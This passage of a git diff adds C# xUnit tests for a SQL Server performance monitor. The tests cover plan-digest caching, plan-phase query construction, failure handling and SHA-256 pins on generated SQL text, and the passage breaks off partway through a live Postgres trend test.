+        Assert.Equal(4, ProcedureStatsPlanReuse.TtlCaptureCycles);
+    }
+
+    [Fact]
+    public async Task On_AtMost150MissesAreRendered_InRowOrder_AndTheRestShipNoPlan()
+    {
+        var cache = new PlanDigestCache<ProcedureStatsPlanKey>();
+        var rows = Enumerable.Range(0, 160).Select(i => RowFor(i)).ToList();
+        var plans = Enumerable.Range(0, 160).ToDictionary(
+            i => "0x05" + i.ToString("X2", CultureInfo.InvariantCulture), i => ((string?)("<p" + i + "/>"), (long?)5));
+        var calls = new List<int>();
+
+        var outcome = await ProcedureStatsPlanReuse.ApplyOnAsync(
+            1, cache, rows, true, 1, s_now, FetchOf(plans!, calls), CancellationToken.None);
+
+        Assert.Equal(new[] { 150 }, calls);
+        Assert.Equal(150, outcome.Rendered);
+        Assert.Equal(10, outcome.OverCap);
+        Assert.Equal(160, outcome.Miss);
+        Assert.NotNull(rows[149].QueryPlanXml);
+        Assert.Null(rows[150].QueryPlanXml);
+        Assert.Null(rows[159].QueryPlanXml);
+        Assert.Equal(150, outcome.Pending.Count);
+    }
+
+    [Fact]
+    public async Task OnAGatedCycle_AHitCarriesItsDigest_AndAMissIssuesNoFetchAndShipsNoPlan()
+    {
+        var cache = ConfirmedCache(new[] { RowFor(1, "<one/>") });
+        var rows = new List<ProcedureStatsCollector.Row> { RowFor(1), RowFor(2) };
+        var calls = new List<int>();
+        var plans = new Dictionary<string, (string?, long?)> { ["0x0502"] = ("<two/>", 6) };
+
+        var outcome = await ProcedureStatsPlanReuse.ApplyOnAsync(
+            1, cache, rows, captureCycle: false, 2, s_now, FetchOf(plans!, calls), CancellationToken.None);
+
+        Assert.Empty(calls);
+        Assert.Equal(1, outcome.Hit);
+        Assert.Equal(1, outcome.Miss);
+        Assert.NotNull(rows[0].KnownPlanDigest);
+        Assert.Null(rows[1].QueryPlanXml);
+        Assert.Null(rows[1].KnownPlanDigest);
+        Assert.Equal(0, outcome.Rendered);
+        Assert.Empty(outcome.Pending);
+    }
+
+    [Fact]
+    public async Task On_AnOverCapIdentity_IsCachedWithNoDigestAndItsBytes_AndStillYieldsAnObservationWithoutARender()
+    {
+        var over = QueryPlanXmlCaptureLimits.MaxCapturedPlanXmlBytes + 1L;
+        var cache = new PlanDigestCache<ProcedureStatsPlanKey>();
+        var plans = new Dictionary<string, (string?, long?)> { ["0x0501"] = (null, over) };
+
+        var first = await ProcedureStatsPlanReuse.ApplyOnAsync(
+            1, cache, new List<ProcedureStatsCollector.Row> { RowFor(1) }, true, 1, s_now, FetchOf(plans!), CancellationToken.None);
+        cache.ConfirmPending(first.Pending, s_now);
+
+        var calls = new List<int>();
+        var rows = new List<ProcedureStatsCollector.Row> { RowFor(1) };
+        var second = await ProcedureStatsPlanReuse.ApplyOnAsync(
+            1, cache, rows, true, 2, s_now, FetchOf(plans!, calls), CancellationToken.None);
+
+        Assert.Empty(calls);
+        Assert.Equal(1, second.Hit);
+        Assert.Null(rows[0].KnownPlanDigest);
+        Assert.Equal(over, rows[0].QueryPlanXmlBytes);
+        var observation = ProcedureStatsCollector.Instance.DescribeOversizedPlan(rows[0]);
+        Assert.NotNull(observation);
+        Assert.Equal(over, observation!.Value.ObservedBytes);
+    }
+
+    [Fact]
+    public async Task On_APlanThatAgedOutBetweenTheQueries_ShipsNoPlan_AndIsNotCached()
+    {
+        var cache = new PlanDigestCache<ProcedureStatsPlanKey>();
+        var rows = new List<ProcedureStatsCollector.Row> { RowFor(1) };
+
+        var outcome = await ProcedureStatsPlanReuse.ApplyOnAsync(
+            1, cache, rows, true, 1, s_now, FetchOf(new()), CancellationToken.None);
+
+        Assert.Equal(0, outcome.Rendered);
+        Assert.Null(rows[0].QueryPlanXml);
+        Assert.Empty(outcome.Pending);
+    }
+
+    [Fact]
+    public async Task On_AFailedFetch_IsReportedNotThrown_AndCachesNothing()
+    {
+        var cache = new PlanDigestCache<ProcedureStatsPlanKey>();
+        var rows = new List<ProcedureStatsCollector.Row> { RowFor(1) };
+
+        var outcome = await ProcedureStatsPlanReuse.ApplyOnAsync(
+            1, cache, rows, true, 1, s_now, (_, _) => throw new InvalidOperationException("boom"), CancellationToken.None);
+
+        Assert.IsType<InvalidOperationException>(outcome.FetchFailure);
+        Assert.Empty(outcome.Pending);
+        Assert.Equal(0, cache.Count);
+    }
+
+    [Fact]
+    public async Task On_AStop_PropagatesRatherThanBecomingAFetchFailure()
+    {
+        using var cts = new CancellationTokenSource();
+        await cts.CancelAsync();
+
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => ProcedureStatsPlanReuse.ApplyOnAsync(
+            1, new PlanDigestCache<ProcedureStatsPlanKey>(), new List<ProcedureStatsCollector.Row> { RowFor(1) }, true, 1, s_now,
+            (_, token) => throw new OperationCanceledException(token), cts.Token));
+    }
+
+    // ---- the collector's shapes ----------------------------------------------------------------
+
+    private static CollectorContext Context(bool capture, bool identity, bool defer = false, bool azure = false) => new()
+    {
+        ServerId = 42,
+        ServerName = "test-server",
+        CollectionTime = s_now,
+        Deltas = new NoDeltas(),
+        Target = new CollectorTargetInfo { IsAzureSqlDb = azure },
+        CapturePlanXml = capture,
+        DeferPlanXmlFetch = defer,
+        PlanIdentityColumns = identity,
+    };
+
+    private static readonly byte[][] s_phaseHandles = { new byte[] { 0x05, 0x00, 0xAB } };
+
+    [Fact]
+    public void TheShadowPlanPhase_IsTheInlinePlanPhase_PlusOnlyTheIdentityFragments()
+    {
+        var inline = ProcedureStatsCollector.BuildPlanPhaseQuery(Context(true, false), s_phaseHandles).Text;
+        var shadow = ProcedureStatsCollector.BuildPlanPhaseQuery(Context(true, true), s_phaseHandles).Text;
+        var deferred = ProcedureStatsCollector.BuildPlanPhaseQuery(Context(true, true, defer: true), s_phaseHandles).Text;
+
+        Assert.NotEqual(inline, shadow);
+        Assert.Contains("dm_exec_text_query_plan", shadow, StringComparison.Ordinal);
+        Assert.Contains("plan_statement_count", shadow, StringComparison.Ordinal);
+        Assert.Contains("dm_exec_query_stats", shadow, StringComparison.Ordinal);
+        /* the plan columns come first, so their ordinals (1, 2) are those of the inline phase */
+        Assert.True(
+            shadow.IndexOf("query_plan_xml_bytes", StringComparison.Ordinal) < shadow.IndexOf("plan_statement_count", StringComparison.Ordinal));
+        /* the shadow text is the inline text plus the two identity fragments and nothing else */
+        string Fragment(string name) => (string)typeof(ProcedureStatsCollector)
+            .GetField(name, System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static)!.GetRawConstantValue()!;
+        Assert.Equal(
+            inline,
+            shadow.Replace(Fragment("PlanIdentitySelectFragment"), "", StringComparison.Ordinal)
+                .Replace(Fragment("PlanIdentityApplyFragment"), "", StringComparison.Ordinal));
+        Assert.DoesNotContain("dm_exec_text_query_plan", deferred, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AGatedOnCycle_ShipsTheIdentityAlone_AndNoPlanRender()
+    {
+        var sql = ProcedureStatsCollector.BuildPlanPhaseQuery(Context(capture: false, identity: true), s_phaseHandles).Text;
+
+        Assert.DoesNotContain("dm_exec_text_query_plan", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("query_plan_xml", sql, StringComparison.Ordinal);
+        Assert.Contains("plan_generation_sum", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void WithoutTheSwitch_TheQuery_IsUnchanged()
+    {
+        var plain = ProcedureStatsCollector.Instance.BuildQuery(Context(true, false)).Text;
+
+        Assert.DoesNotContain("plan_statement_count", plain, StringComparison.Ordinal);
+        Assert.Equal(plain, ProcedureStatsCollector.Instance.BuildQuery(Context(true, false, defer: false)).Text);
+    }
+
+    [Theory]
+    [InlineData(true, 3)]    /* shadow: after the plan columns at 1 and 2 */
+    [InlineData(false, 1)]   /* a gated cycle: identity alone */
+    public async Task ReadPlanPhaseAsync_FindsTheIdentity_WhereTheQueryPutIt(bool capture, int firstIdentityOrdinal)
+    {
+        using var table = new DataTable();
+        table.Columns.Add("ord", typeof(int));
+        if (capture)
+        {
+            table.Columns.Add("query_plan_xml", typeof(string));
+            table.Columns.Add("query_plan_xml_bytes", typeof(long));
+        }
+
+        table.Columns.Add("plan_statement_count", typeof(long));
+        table.Columns.Add("plan_last_statement_compile", typeof(DateTime));
+        table.Columns.Add("plan_generation_sum", typeof(long));
+
+        var values = new object[table.Columns.Count];
+        values[0] = 0;
+        if (capture)
+        {
+            values[1] = "<plan/>";
+            values[2] = 7L;
+        }
+
+        values[firstIdentityOrdinal] = 4L;
+        values[firstIdentityOrdinal + 1] = s_compile;
+        values[firstIdentityOrdinal + 2] = 11L;
+        table.Rows.Add(values);
+
+        await using var reader = table.CreateDataReader();
+        var results = await ProcedureStatsCollector.ReadPlanPhaseAsync(reader, Context(capture, identity: true), CancellationToken.None);
+
+        var result = Assert.Single(results).Value;
+        Assert.Equal(4L, result.StatementCount);
+        Assert.Equal(s_compile, result.LastStatementCompile);
+        Assert.Equal(11L, result.GenerationSum);
+        Assert.Equal(capture ? "<plan/>" : null, result.PlanXml);
+    }
+
+    // ---- the runner's plan phase (#5449) -------------------------------------------------------
+
+    /// <summary>A target whose plan-phase query throws what <paramref name="fail"/> returns, so the runner's catch is what a test sees.</summary>
+    private sealed class FailingPlanQueryProvider(Func<CancellationToken, Exception> fail) : ITargetProvider
+    {
+        public CollectorTargetEngine Engine => CollectorTargetEngine.SqlServer;
+
+        public System.Data.Common.DbConnection CreateConnection(string connectionString) => throw new NotSupportedException();
+
+        public System.Data.Common.DbCommand CreateCommand(CollectorQuery query, System.Data.Common.DbConnection connection, int commandTimeoutSeconds) =>
+            new FailingCommand(fail);
+
+        public CollectorTargetFault Classify(Exception exception, bool yieldsOnLockTimeout) => CollectorTargetFault.Unclassified;
+
+        public string WithDatabase(string connectionString, string databaseName) => databaseName;
+
+        public (string ConnectionString, CollectorQuery Query) BuildDatabaseListPlan(
+            string connectionString, IReadOnlyList<string>? excludedDatabases, IReadOnlyList<string>? databaseScope) =>
+            throw new NotSupportedException();
+    }
+
+    private sealed class FailingCommand(Func<CancellationToken, Exception> fail) : System.Data.Common.DbCommand
+    {
+        [System.Diagnostics.CodeAnalysis.AllowNull]
+        public override string CommandText { get; set; } = string.Empty;
+        public override int CommandTimeout { get; set; }
+        public override CommandType CommandType { get; set; }
+        public override bool DesignTimeVisible { get; set; }
+        public override UpdateRowSource UpdatedRowSource { get; set; }
+        protected override System.Data.Common.DbConnection? DbConnection { get; set; }
+        protected override System.Data.Common.DbParameterCollection DbParameterCollection => throw new NotSupportedException();
+        protected override System.Data.Common.DbTransaction? DbTransaction { get; set; }
+        public override void Cancel() { }
+        public override int ExecuteNonQuery() => throw new NotSupportedException();
+        public override object? ExecuteScalar() => throw new NotSupportedException();
+        public override void Prepare() { }
+        protected override System.Data.Common.DbParameter CreateDbParameter() => throw new NotSupportedException();
+        protected override System.Data.Common.DbDataReader ExecuteDbDataReader(CommandBehavior behavior) => throw fail(CancellationToken.None);
+        protected override Task<System.Data.Common.DbDataReader> ExecuteDbDataReaderAsync(CommandBehavior behavior, CancellationToken cancellationToken) =>
+            throw fail(cancellationToken);
+    }
+
+    private static (List<ProcedureStatsCollector.Row> Rows, System.Data.Common.DbDataReader MainReader) PlanPhaseInputs()
+    {
+        var table = new DataTable();
+        table.Columns.Add("x", typeof(int));
+        return (new List<ProcedureStatsCollector.Row> { RowFor(1), RowFor(2) }, table.CreateDataReader());
+    }
+
+    [Fact]
+    public async Task APlanQueryThatFails_ShipsTheRowsWithoutPlans_LogsOneWarning_AndStampsTheCounters()
+    {
+        var flipper = new FlippableRunner("off");
+        var context = StampedContext(flipper.Runner, capture: true);
+        var (rows, reader) = PlanPhaseInputs();
+        await using var _ = reader;
+
+        var ms = await flipper.Runner.RunProcedureStatsPlanPhaseAsync(
+            new FailingPlanQueryProvider(_ => new InvalidOperationException("the plan query failed")),
+            reader, null!, ServerFor(), context, rows, CancellationToken.None);
+
+        Assert.True(ms >= 1, "a failed phase still reports its time, so the run stamps it");
+        Assert.All(rows, row =>
+        {
+            Assert.Null(row.QueryPlanXml);
+            Assert.Null(row.QueryPlanXmlBytes);
+            Assert.True(row.PlanPhaseSkipped, "every row is marked skipped so the reuse pass counts no miss");
+        });
+        Assert.Equal(1, flipper.Log.CountAtLevel(LogLevel.Warning));
+
+        DarlingCollectorRunner.StampProcedureStatsOffPlanPhase(context, rows, ms);
+        Assert.Equal(0, context.Measurements.First(m => m.Label == "plans_rendered").Value);
+        Assert.Equal(0, context.Measurements.First(m => m.Label == "plans_rendered_bytes").Value);
+        Assert.Equal(ms, context.Measurements.First(m => m.Label == "plan_fetch_ms").Value);
+    }
+
+    [Fact]
+    public async Task AStopDuringThePlanQuery_EscapesRatherThanBecomingAWarning()
+    {
+        var flipper = new FlippableRunner("off");
+        var context = StampedContext(flipper.Runner, capture: true);
+        var (rows, reader) = PlanPhaseInputs();
+        await using var _ = reader;
+        using var cts = new CancellationTokenSource();
+        await cts.CancelAsync();
+
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => flipper.Runner.RunProcedureStatsPlanPhaseAsync(
+            new FailingPlanQueryProvider(token => new OperationCanceledException(token)),
+            reader, null!, ServerFor(), context, rows, cts.Token));
+
+        Assert.Equal(0, flipper.Log.CountAtLevel(LogLevel.Warning));
+        Assert.All(rows, row => Assert.False(row.PlanPhaseSkipped));
+    }
+
+    private sealed class NoDeltas : ICollectorDeltaCalculator
+    {
+        public long CalculateDelta(int serverId, string collectorName, string key, long currentValue,
+            DateTime? collectionTime = null, int maxGapSeconds = 0) => currentValue;
+
+        public long CalculateDeltaWithInterval(int serverId, string collectorName, string key, long currentValue,
+            out int intervalSeconds, DateTime? collectionTime = null, int maxGapSeconds = 0)
+        {
+            intervalSeconds = 0;
+            return currentValue;
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ProcedureStatsSqlGoldenTests.cs b/Darling/Darling.Tests/ProcedureStatsSqlGoldenTests.cs
new file mode 100644
index 0000000000..bd9f47b9e5
--- /dev/null
+++ b/Darling/Darling.Tests/ProcedureStatsSqlGoldenTests.cs
@@ -0,0 +1,103 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Security.Cryptography;
+using System.Text;
+using PerformanceMonitor.Collectors;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Byte-for-byte pins on the full <c>procedure_stats</c> SQL text a host sends (#5158, #5449). The main query is
+/// numbers only on every host in every plan mode (#5449), so one hash per variant covers all of them and the modes are
+/// asserted equal to it; the plan phase's second query is pinned for each mode (Off: plan, Shadow: plan and identity,
+/// On: identity). The text is hashed after normalizing line endings. To move one of these on purpose, run the test and
+/// copy the actual hash from the failure message.
+/// </summary>
+public sealed class ProcedureStatsSqlGoldenTests
+{
+    private const string StandardMainSha256 = "D17F6086018221BDD3A9FC86613D3DCF7FE6E6FC22B57B5AE448D9DF8CB80CC8";
+    private const string AzureSqlDbMainSha256 = "49949F221E2694D5B64985931C02D42006DDDCC068DBBFB7F69B206EC22C851F";
+    private const string PlanPhaseOffSha256 = "3FF53D1CD3D34AE923BB95B316B0F108F45CDE0CBDB2441F2C39062F95796566";
+    private const string PlanPhaseShadowSha256 = "62209CDCF1C50BB084FE61E728956A3C5D83EC34ECBD713FB33E82B11EE89BE1";
+    private const string PlanPhaseOnSha256 = "7AC301A9C279899632C2332A9F7BFBD149DBB6D2D81CAC416A527E242E620D5E";
+
+    private static readonly byte[][] Handles = { new byte[] { 0x05, 0x00, 0xAB }, new byte[] { 0x06, 0x00, 0xCD, 0xEF } };
+
+    private static CollectorContext ContextFor(bool azure, bool capture, bool defer = false, bool identity = false) => new()
+    {
+        ServerId = 42,
+        ServerName = "test-server",
+        CollectionTime = new DateTime(2026, 7, 2, 12, 0, 0, DateTimeKind.Utc),
+        Deltas = new NoDeltas(),
+        Target = new CollectorTargetInfo { IsAzureSqlDb = azure },
+        CapturePlanXml = capture,
+        DeferPlanXmlFetch = defer,
+        PlanIdentityColumns = identity,
+    };
+
+    private static string Sha256OfText(string text) =>
+        Convert.ToHexString(SHA256.HashData(Encoding.UTF8.GetBytes(text.ReplaceLineEndings("\n"))));
+
+    /* Assert.Equal truncates a long string in its message; this puts the whole actual hash in it. */
+    private static void Check(string expected, string actual) => Assert.True(expected == actual, "actual hash: " + actual);
+
+    private static string MainSha256(bool azure, bool capture, bool defer = false, bool identity = false) =>
+        Sha256OfText(ProcedureStatsCollector.Instance.BuildQuery(ContextFor(azure, capture, defer, identity)).Text);
+
+    [Fact]
+    public void Standard_MainQuery_IsTheNumbersOnlyText_ByteForByte()
+        => Check(StandardMainSha256, MainSha256(azure: false, capture: false));
+
+    [Fact]
+    public void AzureSqlDb_MainQuery_IsTheNumbersOnlyText_ByteForByte()
+        => Check(AzureSqlDbMainSha256, MainSha256(azure: true, capture: false));
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public void TheMainQuery_IsTheSameText_InEveryPlanMode(bool azure)
+    {
+        var off = MainSha256(azure, capture: false);
+        Assert.Equal(off, MainSha256(azure, capture: true));
+        Assert.Equal(off, MainSha256(azure, capture: true, identity: true));
+        Assert.Equal(off, MainSha256(azure, capture: true, defer: true, identity: true));
+        Assert.Equal(off, MainSha256(azure, capture: false, identity: true));
+    }
+
+    [Fact]
+    public void PlanPhase_Off_IsThePlanFragmentOverAValuesList_ByteForByte()
+        => Check(PlanPhaseOffSha256, Sha256OfText(
+            ProcedureStatsCollector.BuildPlanPhaseQuery(ContextFor(false, capture: true), Handles).Text));
+
+    [Fact]
+    public void PlanPhase_Shadow_IsThePlanAndIdentityFragments_ByteForByte()
+        => Check(PlanPhaseShadowSha256, Sha256OfText(
+            ProcedureStatsCollector.BuildPlanPhaseQuery(ContextFor(false, capture: true, identity: true), Handles).Text));
+
+    [Fact]
+    public void PlanPhase_On_IsTheIdentityFragmentAlone_ByteForByte()
+        => Check(PlanPhaseOnSha256, Sha256OfText(
+            ProcedureStatsCollector.BuildPlanPhaseQuery(ContextFor(false, capture: true, defer: true, identity: true), Handles).Text));
+
+    /// <summary>BuildQuery never reads the calculator; the context just requires one.</summary>
+    private sealed class NoDeltas : ICollectorDeltaCalculator
+    {
+        public long CalculateDelta(int serverId, string collectorName, string key, long currentValue,
+            DateTime? collectionTime = null, int maxGapSeconds = 0) => currentValue;
+
+        public long CalculateDeltaWithInterval(int serverId, string collectorName, string key, long currentValue,
+            out int intervalSeconds, DateTime? collectionTime = null, int maxGapSeconds = 0)
+        {
+            intervalSeconds = 0;
+            return currentValue;
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ProcedureTrendHourlyQueryViewPinTests.cs b/Darling/Darling.Tests/ProcedureTrendHourlyQueryViewPinTests.cs
new file mode 100644
index 0000000000..9685c541f5
--- /dev/null
+++ b/Darling/Darling.Tests/ProcedureTrendHourlyQueryViewPinTests.cs
@@ -0,0 +1,66 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Security.Cryptography;
+using System.Text;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5449: the procedure hourly read adds the hours a collector run fell in with no raw row (<c>ProcedureIdleHoursSql</c>); the
+/// query views' rollups hold a row for every hour the server was monitored and keep their own rollup-only read. Their hourly
+/// statements are pinned here by SHA-256 of the text the code produced on origin/dev, before the procedure change, line endings
+/// normalised, so a change meant for the procedure grain cannot reach them. A deliberate change to the query views updates the
+/// hash with its reason in the commit.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class ProcedureTrendHourlyQueryViewPinTests
+{
+    public static TheoryData<string, string> Statements() => new()
+    {
+        { "BuildHourlyTrendSql(query_stats_hourly, unfiltered)", DurationTrendRouting.BuildHourlyTrendSql(TimescaleSupport.QueryStatsHourlyView, false) },
+        { "BuildHourlyTrendSql(query_stats_hourly, filtered)", DurationTrendRouting.BuildHourlyTrendSql(TimescaleSupport.QueryStatsHourlyView, true) },
+        { "BuildBucketedHourlyTrendSql(query_stats_hourly, unfiltered)", DurationTrendRouting.BuildBucketedHourlyTrendSql(TimescaleSupport.QueryStatsHourlyView) },
+        { "BuildBucketedHourlyTrendSql(query_stats_hourly, filtered)", DurationTrendRouting.BuildBucketedHourlyTrendSql(TimescaleSupport.QueryStatsHourlyView, withDatabaseFilter: true) },
+        { "BuildHourlyTrendSql(query_store_stats_hourly, unfiltered)", DurationTrendRouting.BuildHourlyTrendSql(TimescaleSupport.QueryStoreStatsHourlyView, false) },
+        { "BuildHourlyTrendSql(query_store_stats_hourly, filtered)", DurationTrendRouting.BuildHourlyTrendSql(TimescaleSupport.QueryStoreStatsHourlyView, true) },
+        { "BuildBucketedHourlyTrendSql(query_store_stats_hourly, unfiltered)", DurationTrendRouting.BuildBucketedHourlyTrendSql(TimescaleSupport.QueryStoreStatsHourlyView) },
+        { "BuildBucketedHourlyTrendSql(query_store_stats_hourly, filtered)", DurationTrendRouting.BuildBucketedHourlyTrendSql(TimescaleSupport.QueryStoreStatsHourlyView, withDatabaseFilter: true) },
+        { "QueryDurationTrendHourlySql(unfiltered)", DurationTrendRouting.QueryDurationTrendHourlySql(withDatabaseFilter: false) },
+        { "QueryDurationTrendHourlySql(filtered)", DurationTrendRouting.QueryDurationTrendHourlySql(withDatabaseFilter: true) },
+    };
+
+    private static readonly Dictionary<string, string> Pins = new()
+    {
+        ["BuildHourlyTrendSql(query_stats_hourly, unfiltered)"] = "94329B673BFAFA22248DA5D53EFE874662038CDED525C936579D54221C91F2E5",
+        ["BuildHourlyTrendSql(query_stats_hourly, filtered)"] = "CCD84C371E46D72BF536118A8A492C0946552BF818E4B00518B6F8F3CEDDED09",
+        ["BuildBucketedHourlyTrendSql(query_stats_hourly, unfiltered)"] = "AA3776E17212DF0B3DC9C1A059C8D9BDE4988DA16E9883F5414A67608340F372",
+        ["BuildBucketedHourlyTrendSql(query_stats_hourly, filtered)"] = "5086B47CEC900CAC398A9702F37DAB86150C273DE015A5418B2754D96C5A6432",
+        ["BuildHourlyTrendSql(query_store_stats_hourly, unfiltered)"] = "ABAC1BCC6EB7EA5160B70A8F4B44EDC799E151DB216D8A5BB705E986663688F2",
+        ["BuildHourlyTrendSql(query_store_stats_hourly, filtered)"] = "44B2F1ACB7EFBBA3479A97E1504B6BD85E28523A3528743BC811FDBD805B927D",
+        ["BuildBucketedHourlyTrendSql(query_store_stats_hourly, unfiltered)"] = "E8F5E099757ABE0272508D5734C19486406522EB5A8C63DA6EDC4B2C58E8BB2C",
+        ["BuildBucketedHourlyTrendSql(query_store_stats_hourly, filtered)"] = "AD2CA98B90F33B449C946E2F8D7C55EB38F60E4CA2198302DD48A0BE1CA09225",
+        ["QueryDurationTrendHourlySql(unfiltered)"] = "94329B673BFAFA22248DA5D53EFE874662038CDED525C936579D54221C91F2E5",
+        ["QueryDurationTrendHourlySql(filtered)"] = "CCD84C371E46D72BF536118A8A492C0946552BF818E4B00518B6F8F3CEDDED09",
+    };
+
+    [Theory]
+    [MemberData(nameof(Statements))]
+    public void QueryViewHourlyReads_AreUnchangedByTheProcedureIdleHours(string label, string sql)
+    {
+        var normalized = sql.Replace("\r\n", "\n", StringComparison.Ordinal);
+        var hash = Convert.ToHexString(SHA256.HashData(Encoding.UTF8.GetBytes(normalized)));
+
+        Assert.True(Pins.TryGetValue(label, out var expected), $"no pin for {label}: {hash}");
+        Assert.Equal(expected, hash);
+    }
+}
diff --git a/Darling/Darling.Tests/ProcedureTrendQueryViewPinTests.cs b/Darling/Darling.Tests/ProcedureTrendQueryViewPinTests.cs
new file mode 100644
index 0000000000..c678dc3f73
--- /dev/null
+++ b/Darling/Darling.Tests/ProcedureTrendQueryViewPinTests.cs
@@ -0,0 +1,61 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Security.Cryptography;
+using System.Text;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5449: the procedure trend reads the collector's runs as its time axis; the query views (<c>query_stats</c>) store every
+/// cycle and keep reading their own rows. Their raw-tier statement is pinned here by SHA-256 of the text the code produced
+/// on origin/dev, before the procedure change, line endings normalised, so a change meant for the procedure grain cannot reach them.
+/// A deliberate change to the query views updates the hash with its reason in the commit.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class ProcedureTrendQueryViewPinTests
+{
+    /// <summary>The unfiltered statement (the MCP reader's text before the viewer's database filter, #5244).</summary>
+    private const string QueryStatsBucketedUnfilteredSha256 = "59C1215D3E171D69285B05D2CF77C6475F9717631C947D1492ACF9D33AF434E0";
+
+    /// <summary>The filtered statement (the viewer's chart and the MCP reader's filtered text).</summary>
+    private const string QueryStatsBucketedFilteredSha256 = "1446ACDD0F7148DAF8268C6AB3D38D3E2B6832B2B6FB787EBEBB09807E8BC98B";
+
+    /// <summary>The per-collection CTE alone (<c>RawCollectionsCte</c>'s query branch), unfiltered.</summary>
+    private const string QueryStatsCollectionsCteUnfilteredSha256 = "7B58F60A5C376E9782EC7A44A189D461A3A44E0A835A2DF00F6786D83423E756";
+
+    /// <summary>The per-collection CTE alone, filtered.</summary>
+    private const string QueryStatsCollectionsCteFilteredSha256 = "59E2C46848E0AD30C83B1556D2DBB155DDB7168C4397DD3A6C8D105B4B4A80B9";
+
+    [Fact]
+    public void QueryStatsRawTrend_IsUnchangedByTheProcedureRunModel()
+    {
+        var unfiltered = Normalize(DurationTrendRouting.BuildBucketedRawTrendSql("query_stats", withDatabaseFilter: false));
+        var filtered = Normalize(DurationTrendRouting.BuildBucketedRawTrendSql("query_stats", withDatabaseFilter: true));
+
+        Assert.Equal(QueryStatsBucketedUnfilteredSha256, Sha256(unfiltered));
+        Assert.Equal(QueryStatsBucketedFilteredSha256, Sha256(filtered));
+        Assert.Equal(QueryStatsCollectionsCteUnfilteredSha256, Sha256(CollectionsCte(unfiltered)));
+        Assert.Equal(QueryStatsCollectionsCteFilteredSha256, Sha256(CollectionsCte(filtered)));
+    }
+
+    /// <summary>The text from <c>WITH</c> up to the <c>rated</c> CTE: the per-collection CTE the builder embeds.</summary>
+    private static string CollectionsCte(string sql)
+    {
+        var end = sql.IndexOf("rated AS", StringComparison.Ordinal);
+        Assert.True(end > 0, "no rated CTE in the statement");
+        return sql[..end];
+    }
+
+    private static string Normalize(string sql) => sql.Replace("\r\n", "\n", StringComparison.Ordinal);
+
+    private static string Sha256(string text) => Convert.ToHexString(SHA256.HashData(Encoding.UTF8.GetBytes(text)));
+}
diff --git a/Darling/Darling.Tests/ProcedureTrendRunModelLiveTests.cs b/Darling/Darling.Tests/ProcedureTrendRunModelLiveTests.cs
new file mode 100644
index 0000000000..7092db6022
--- /dev/null
+++ b/Darling/Darling.Tests/ProcedureTrendRunModelLiveTests.cs
@@ -0,0 +1,394 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5449: the procedure raw-tier trend reads the collector's SUCCESS runs as its time axis. A run that stored rows is a point at
+/// its stored collection time; a run that stored none is a zero-work point at the instant it began. A point's seconds are the
+/// gap to the previous point (unrated past the collector's one-hour policy), and a bucket's seconds are the sum of those gaps.
+/// Every test seeds in production order: rows at the run's start T, the run's log row about three seconds later (the run's
+/// SQL and storage time), idle runs log with no rows, a failed run logs an ERROR and an outage logs nothing.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only to
+   CREATE and DROP its own database through ScratchPostgres, then works entirely inside it. */
+[Trait("Cost", "Slow")]
+public sealed class ProcedureTrendRunModelLiveTests
+{
+    private static readonly TimeSpan RunLogLag = TimeSpan.FromSeconds(3);
+
+    [Fact]
+    public async Task RawTrend_BusyIdleBusy_PlotsZeroAtTheIdleRunsOnly()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await RunModelStore.CreateAsync(ct);
+        const int server = -544911;
+        await store.RegisterAsync(server, ct);
+        var h = store.Hour;
+        foreach (var k in new[] { 0, 1, 2, 5 })
+        {
+            await store.RowAsync(server, "usp_Work", h.AddMinutes(k), elapsedUs: 600_000, executions: 10, interval: 60, ct);
+        }
+        for (var k = 0; k <= 5; k++)
+        {
+            await store.RunAsync(server, h.AddMinutes(k) + RunLogLag, durationMs: 3000, "SUCCESS", rowsCollected: k is 0 or 1 or 2 or 5 ? 1 : 0, ct);
+        }
+
+        var buckets = await store.ReadAsync(server, h, h.AddMinutes(5).AddSeconds(30), widthMinutes: 1, ct);
+
+        Assert.Equal(Enumerable.Range(0, 6).Select(k => h.AddMinutes(k)), buckets.Select(b => b.Bucket));
+        /* A zero is plotted at the two idle runs and nowhere else: minutes 3 and 4. */
+        Assert.Equal(new[] { h.AddMinutes(3), h.AddMinutes(4) }, buckets.Where(b => b.ElapsedMsPerSecond == 0.0).Select(b => b.Bucket));
